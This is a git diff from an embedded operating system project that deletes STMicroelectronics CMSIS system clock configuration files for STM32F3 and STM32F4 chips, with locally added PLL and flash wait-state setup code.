HSE_VALUE(**) - * or HSI_VALUE(*) multiplied/divided by the PLL factors. - * - * (*) HSI_VALUE is a constant defined in stm32f3xx_hal.h file (default value - * 8 MHz) but the real value may vary depending on the variations - * in voltage and temperature. - * - * (**) HSE_VALUE is a constant defined in stm32f3xx_hal.h file (default value - * 8 MHz), user has to ensure that HSE_VALUE is same as the real - * frequency of the crystal used. Otherwise, this function may - * have wrong result. - * - * - The result of this function could be not correct when using fractional - * value for HSE crystal. - * - * @param None - * @retval None - */ -void SystemCoreClockUpdate (void) -{ - uint32_t tmp = 0, pllmull = 0, pllsource = 0, predivfactor = 0; - - /* Get SYSCLK source -------------------------------------------------------*/ - tmp = RCC->CFGR & RCC_CFGR_SWS; - - switch (tmp) - { - case RCC_CFGR_SWS_HSI: /* HSI used as system clock */ - SystemCoreClock = HSI_VALUE; - break; - case RCC_CFGR_SWS_HSE: /* HSE used as system clock */ - SystemCoreClock = HSE_VALUE; - break; - case RCC_CFGR_SWS_PLL: /* PLL used as system clock */ - /* Get PLL clock source and multiplication factor ----------------------*/ - pllmull = RCC->CFGR & RCC_CFGR_PLLMUL; - pllsource = RCC->CFGR & RCC_CFGR_PLLSRC; - pllmull = ( pllmull >> 18) + 2; - -#if defined (STM32F302xE) || defined (STM32F303xE) || defined (STM32F398xx) - predivfactor = (RCC->CFGR2 & RCC_CFGR2_PREDIV) + 1; - if (pllsource == RCC_CFGR_PLLSRC_HSE_PREDIV) - { - /* HSE oscillator clock selected as PREDIV1 clock entry */ - SystemCoreClock = (HSE_VALUE / predivfactor) * pllmull; - } - else - { - /* HSI oscillator clock selected as PREDIV1 clock entry */ - SystemCoreClock = (HSI_VALUE / predivfactor) * pllmull; - } -#else - if (pllsource == RCC_CFGR_PLLSRC_HSI_DIV2) - { - /* HSI oscillator clock divided by 2 selected as PLL clock entry */ - SystemCoreClock = (HSI_VALUE >> 1) * pllmull; - } - else - { - predivfactor = (RCC->CFGR2 & RCC_CFGR2_PREDIV) + 1; - /* HSE oscillator clock selected as PREDIV1 clock entry */ - SystemCoreClock = (HSE_VALUE / predivfactor) * pllmull; - } -#endif /* STM32F302xE || STM32F303xE || STM32F398xx */ - break; - default: /* HSI used as system clock */ - SystemCoreClock = HSI_VALUE; - break; - } - /* Compute HCLK clock frequency ----------------*/ - /* Get HCLK prescaler */ - tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; - /* HCLK clock frequency */ - SystemCoreClock >>= tmp; -} - -// Added by silseva -/** - * @brief Configures the System clock frequency, HCLK, PCLK2 and PCLK1 prescalers. - * @param None - * @retval None - */ -static void SetSysClock(void) -{ -#ifdef SYSCLK_FREQ_HSE - SetSysClockToHSE(); -#elif defined SYSCLK_FREQ_24MHz - SetSysClockTo24(); -#elif defined SYSCLK_FREQ_36MHz - SetSysClockTo36(); -#elif defined SYSCLK_FREQ_48MHz - SetSysClockTo48(); -#elif defined SYSCLK_FREQ_56MHz - SetSysClockTo56(); -#elif defined SYSCLK_FREQ_72MHz - SetSysClockTo72(); -#endif - - /* If none of the define above is enabled, the HSI is used as System clock - source (default after reset) */ -} - - -#ifdef SYSCLK_FREQ_HSE -/** - * @brief Selects HSE as System clock source and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockToHSE(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0; - - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != 0x0) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - - if (HSEStatus == (uint32_t)0x01) - { - - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTBE; - - if (HSE_VALUE <= 24000000) - { - //NOTE: the value of the constant FLASH_ACR_LATENCY_0 changed from meaning - //"0 wait states" to meaning "bit 0", thus 1 wait states, so don't use it! - FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (0<ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (1<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; - - /* Select HSE as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_HSE; - - /* Wait till HSE is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x04) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} -#elif defined SYSCLK_FREQ_24MHz -/** - * @brief Sets System clock frequency to 24MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo24(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifndef RUN_WITH_HSI //By TFT - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - #endif //RUN_WITH_HSI //By TFT - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTBE; - - /* Flash 0 wait state */ - //NOTE: the value of the constant FLASH_ACR_LATENCY_0 changed from meaning - //"0 wait states" to meaning "bit 0", thus 1 wait states, so don't use it! - FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (0<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; - - #if defined (STM32F303xE) || defined (STM32F398xx) - #error clock not configured! - #else - /* PLL configuration: = (HSE / 2) * 6 = 24 MHz */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMUL)); - RCC->CFGR2 |= RCC_CFGR2_PREDIV_DIV2; - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR_PLLMUL6); - #endif - - #ifdef RUN_WITH_HSI //By TFT - RCC->CFGR &= ~RCC_CFGR_PLLSRC; - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} -#elif defined SYSCLK_FREQ_36MHz -/** - * @brief Sets System clock frequency to 36MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo36(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifndef RUN_WITH_HSI //By TFT - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - #endif //RUN_WITH_HSI //By TFT - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTBE; - - /* Flash 1 wait state */ - //NOTE: the value of the constant FLASH_ACR_LATENCY_1 changed from meaning - //"1 wait states" to meaning "bit 1", thus 2 wait states, so don't use it! - FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (1<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; - - #if defined (STM32F303xE) || defined (STM32F398xx) - #error clock not configured! - #else - /* PLL configuration: = (HSE / 2) * 9 = 36 MHz */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMUL)); - RCC->CFGR2 |= RCC_CFGR2_PREDIV_DIV2; - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR_PLLMUL9); - #endif - - #ifdef RUN_WITH_HSI //By TFT - RCC->CFGR &= ~RCC_CFGR_PLLSRC; - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} -#elif defined SYSCLK_FREQ_48MHz -/** - * @brief Sets System clock frequency to 48MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo48(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifndef RUN_WITH_HSI //By TFT - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - #endif //RUN_WITH_HSI //By TFT - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTBE; - - /* Flash 1 wait state */ - //NOTE: the value of the constant FLASH_ACR_LATENCY_1 changed from meaning - //"1 wait states" to meaning "bit 1", thus 2 wait states, so don't use it! - FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (1<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK/2 */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV2; - - #if defined (STM32F303xE) || defined (STM32F398xx) - #error clock not configured! - #else - /* PLL configuration: = HSE * 6 = 48 MHz */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMUL)); - RCC->CFGR2 |= RCC_CFGR2_PREDIV_DIV1; - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR_PLLMUL6); - #endif - - #ifdef RUN_WITH_HSI //By TFT and silseva - /* PLL clock input is HSI/2, so we have to multiply by 12 to have 48MHz */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMUL)); - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC_HSI_DIV2 | RCC_CFGR_PLLMUL12); - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} - -#elif defined SYSCLK_FREQ_56MHz -/** - * @brief Sets System clock frequency to 56MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo56(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifndef RUN_WITH_HSI //By TFT - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - #endif //RUN_WITH_HSI //By TFT - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTBE; - - /* Flash 2 wait state */ - //NOTE: the value of the constant FLASH_ACR_LATENCY_2 changed from meaning - //"2 wait states" to meaning "bit 2", thus 4 wait states, so don't use it! - FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (2<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK/2 */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV2; - - #if defined (STM32F303xE) || defined (STM32F398xx) - #error clock not configured! - #else - /* PLL configuration: = HSE * 7 = 56 MHz */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMUL)); - RCC->CFGR2 |= RCC_CFGR2_PREDIV_DIV1; - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR_PLLMUL7); - #endif - - #ifdef RUN_WITH_HSI //By TFT and silseva - /* PLL clock input is HSI/2, so we have to multiply by 14 to have 56MHz */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMUL)); - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC_HSI_DIV2 | RCC_CFGR_PLLMUL14); - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} - -#elif defined SYSCLK_FREQ_72MHz -/** - * @brief Sets System clock frequency to 72MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo72(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifndef RUN_WITH_HSI //By TFT - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - #else - #warning Untested configuration - #endif //RUN_WITH_HSI //By TFT - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTBE; - - /* Flash 2 wait state */ - //NOTE: the value of the constant FLASH_ACR_LATENCY_2 changed from meaning - //"2 wait states" to meaning "bit 2", thus 4 wait states, so don't use it! - FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (2<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK/2 */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV2; - - #if defined (STM32F303xE) || defined (STM32F398xx) - #error clock not configured! - #else - /* PLL configuration: = HSE * 9 = 72 MHz */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMUL)); - RCC->CFGR2 |= RCC_CFGR2_PREDIV_DIV1; - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR_PLLMUL9); - #endif - - #ifdef RUN_WITH_HSI //By silseva - #error cannot reach 72MHz with HSI - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} -#endif - -// end addition - -/** - * @} - */ - -/** - * @} - */ - -/** - * @} - */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ - diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F4xx/Source/Templates/system_stm32f4xx.c b/miosix/arch/common/CMSIS/Device/ST/STM32F4xx/Source/Templates/system_stm32f4xx.c deleted file mode 100644 index 60ab4a686..000000000 --- a/miosix/arch/common/CMSIS/Device/ST/STM32F4xx/Source/Templates/system_stm32f4xx.c +++ /dev/null @@ -1,686 +0,0 @@ -/** - ****************************************************************************** - * @file system_stm32f4xx.c - * @author MCD Application Team - * @version V2.0.0 - * @date 18-February-2014 - * @brief CMSIS Cortex-M4 Device Peripheral Access Layer System Source File. - * - * This file provides two functions and one global variable to be called from - * user application: - * - SystemInit(): This function is called at startup just after reset and - * before branch to main program. This call is made inside - * the "startup_stm32f4xx.s" file. - * - * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used - * by the user application to setup the SysTick - * timer or configure other parameters. - * - * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must - * be called whenever the core clock is changed - * during program execution. - * - * - ****************************************************************************** - * @attention - * - *

© COPYRIGHT 2014 STMicroelectronics

- * - * Redistribution and use in source and binary forms, with or without modification, - * are permitted provided that the following conditions are met: - * 1. Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright notice, - * this list of conditions and the following disclaimer in the documentation - * and/or other materials provided with the distribution. - * 3. Neither the name of STMicroelectronics nor the names of its contributors - * may be used to endorse or promote products derived from this software - * without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" - * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE - * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR - * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER - * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, - * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE - * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - * - ****************************************************************************** - */ - -/** @addtogroup CMSIS - * @{ - */ - -/** @addtogroup stm32f4xx_system - * @{ - */ - -/** @addtogroup STM32F4xx_System_Private_Includes - * @{ - */ - -//By TFT: was #include "stm32f4xx_hal.h", but the specific chip is #defined in -//arch_registers_impl.h -#include "interfaces/arch_registers.h" -//By TFT: the .h file for the chip used to define this -#define HSI_VALUE 16000000 -//By TFT: was in the old stm32f4xx.h -#define HSE_STARTUP_TIMEOUT ((uint16_t)0x0500) - -/** - * @} - */ - -/** @addtogroup STM32F4xx_System_Private_TypesDefinitions - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32F4xx_System_Private_Defines - * @{ - */ - -/************************* Miscellaneous Configuration ************************/ -/*!< Uncomment the following line if you need to use external SRAM or SDRAM mounted - on STM324xG_EVAL/STM324x9I_EVAL boards as data memory */ -#if defined(STM32F405xx) || defined(STM32F415xx) || defined(STM32F407xx) || defined(STM32F417xx) || defined(STM32F427xx) || defined(STM32F437xx) || defined(STM32F429xx) || defined(STM32F439xx) -/* #define DATA_IN_ExtSRAM */ -#endif /* STM32F405xx || STM32F415xx || STM32F407xx || STM32F417xx || STM32F427xx || STM32F437xx || STM32F429xx || STM32F439xx */ - -#if defined(STM32F427xx) || defined(STM32F437xx) || defined(STM32F429xx) || defined(STM32F439xx) -/* #define DATA_IN_ExtSDRAM */ -#endif /* STM32F427xx || STM32F437xx || STM32F429xx || STM32F439xx */ - -#if defined(DATA_IN_ExtSRAM) && defined(DATA_IN_ExtSDRAM) - #error "Please select DATA_IN_ExtSRAM or DATA_IN_ExtSDRAM " -#endif /* DATA_IN_ExtSRAM && DATA_IN_ExtSDRAM */ - -/*!< Uncomment the following line if you need to relocate your vector Table in - Internal SRAM. */ -/* #define VECT_TAB_SRAM */ -#define VECT_TAB_OFFSET 0x00 /*!< Vector Table base offset field. - This value must be a multiple of 0x200. */ -/******************************************************************************/ - -// By TFT -- begin -// this was backported from an older version. Now this code seems to be -// moved in a function called HAL_something... -/************************* PLL Parameters *************************************/ -/* PLL_VCO = (HSE_VALUE or HSI_VALUE / PLL_M) * PLL_N */ - -#define PLL_M (HSE_VALUE/1000000) - -/* SYSCLK = PLL_VCO / PLL_P */ -#ifdef SYSCLK_FREQ_180MHz -#define PLL_N 360 -#define PLL_P 2 -// Warning: this output will be 45MHz due to PLL limitations instead of 48MHz. -// This means that the SDIO and RNG will run approximatively 6% slower and -// that the USB peripheral WILL NOT WORK as it requires a precise 48MHz -#define PLL_Q 8 -#elif defined(SYSCLK_FREQ_168MHz) -#define PLL_N 336 -#define PLL_P 2 -#define PLL_Q 7 -#elif defined(SYSCLK_FREQ_100MHz) -#define PLL_N 200 -#define PLL_P 2 -// Warning: this output will be 40MHz due to PLL limitations instead of 48MHz. -// This means that the SDIO and RNG will run approximatively 17% slower and -// that the USB peripheral WILL NOT WORK as it requires a precise 48MHz -#define PLL_Q 5 -#elif defined(SYSCLK_FREQ_84MHz) -#define PLL_N 336 -#define PLL_P 4 -#define PLL_Q 7 -#else -#error Clock not selected -#endif - -/******************************************************************************/ -// By TFT -- end - -/** - * @} - */ - -/** @addtogroup STM32F4xx_System_Private_Macros - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32F4xx_System_Private_Variables - * @{ - */ - /* This variable is updated in three ways: - 1) by calling CMSIS function SystemCoreClockUpdate() - 2) by calling HAL API function HAL_RCC_GetHCLKFreq() - 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency - Note: If you use this function to configure the system clock; then there - is no need to call the 2 first functions listed above, since SystemCoreClock - variable is updated automatically. - */ -//By TFT: we increase the clock BEFORE initializing .data and .bss! -#ifdef SYSCLK_FREQ_180MHz -uint32_t SystemCoreClock = 180000000; -#elif defined(SYSCLK_FREQ_168MHz) -uint32_t SystemCoreClock = 168000000; -#elif defined(SYSCLK_FREQ_100MHz) -uint32_t SystemCoreClock = 100000000; -#elif defined(SYSCLK_FREQ_84MHz) -uint32_t SystemCoreClock = 84000000; -#else -#error No clock defined -#endif -const uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; - -/** - * @} - */ - -/** @addtogroup STM32F4xx_System_Private_FunctionPrototypes - * @{ - */ - -static void SetSysClock(void); -#if defined (DATA_IN_ExtSRAM) || defined (DATA_IN_ExtSDRAM) - static void SystemInit_ExtMemCtl(void); -#endif /* DATA_IN_ExtSRAM || DATA_IN_ExtSDRAM */ - -/** - * @} - */ - -/** @addtogroup STM32F4xx_System_Private_Functions - * @{ - */ - -/** - * @brief Setup the microcontroller system - * Initialize the FPU setting, vector table location and External memory - * configuration. - * @param None - * @retval None - */ -void SystemInit(void) -{ - /* FPU settings ------------------------------------------------------------*/ - #if (__FPU_PRESENT == 1) && (__FPU_USED == 1) - SCB->CPACR |= ((3UL << 10*2)|(3UL << 11*2)); /* set CP10 and CP11 Full Access */ - #else - #error "FPU disabled!" //By TFT: added a check to be really sure the FPU is on - #endif - - /* Reset the RCC clock configuration to the default reset state ------------*/ - /* Set HSION bit */ - RCC->CR |= (uint32_t)0x00000001; - - /* Reset CFGR register */ - RCC->CFGR = 0x00000000; - - /* Reset HSEON, CSSON and PLLON bits */ - RCC->CR &= (uint32_t)0xFEF6FFFF; - - /* Reset PLLCFGR register */ - RCC->PLLCFGR = 0x24003010; - - /* Reset HSEBYP bit */ - RCC->CR &= (uint32_t)0xFFFBFFFF; - - /* Disable all interrupts */ - RCC->CIR = 0x00000000; - -#if defined (DATA_IN_ExtSRAM) || defined (DATA_IN_ExtSDRAM) - SystemInit_ExtMemCtl(); -#endif /* DATA_IN_ExtSRAM || DATA_IN_ExtSDRAM */ - - /* Configure the System clock source, PLL Multiplier and Divider factors, - AHB/APBx prescalers and Flash settings ----------------------------------*/ - SetSysClock(); - - /* Configure the Vector Table location add offset address ------------------*/ -#ifdef VECT_TAB_SRAM - SCB->VTOR = SRAM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ -#else - SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH */ -#endif -} - -/** - * @brief Update SystemCoreClock variable according to Clock Register Values. - * The SystemCoreClock variable contains the core clock (HCLK), it can - * be used by the user application to setup the SysTick timer or configure - * other parameters. - * - * @note Each time the core clock (HCLK) changes, this function must be called - * to update SystemCoreClock variable value. Otherwise, any configuration - * based on this variable will be incorrect. - * - * @note - The system frequency computed by this function is not the real - * frequency in the chip. It is calculated based on the predefined - * constant and the selected clock source: - * - * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) - * - * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) - * - * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) - * or HSI_VALUE(*) multiplied/divided by the PLL factors. - * - * (*) HSI_VALUE is a constant defined in stm32f4xx_hal_conf.h file (default value - * 16 MHz) but the real value may vary depending on the variations - * in voltage and temperature. - * - * (**) HSE_VALUE is a constant defined in stm32f4xx_hal_conf.h file (its value - * depends on the application requirements), user has to ensure that HSE_VALUE - * is same as the real frequency of the crystal 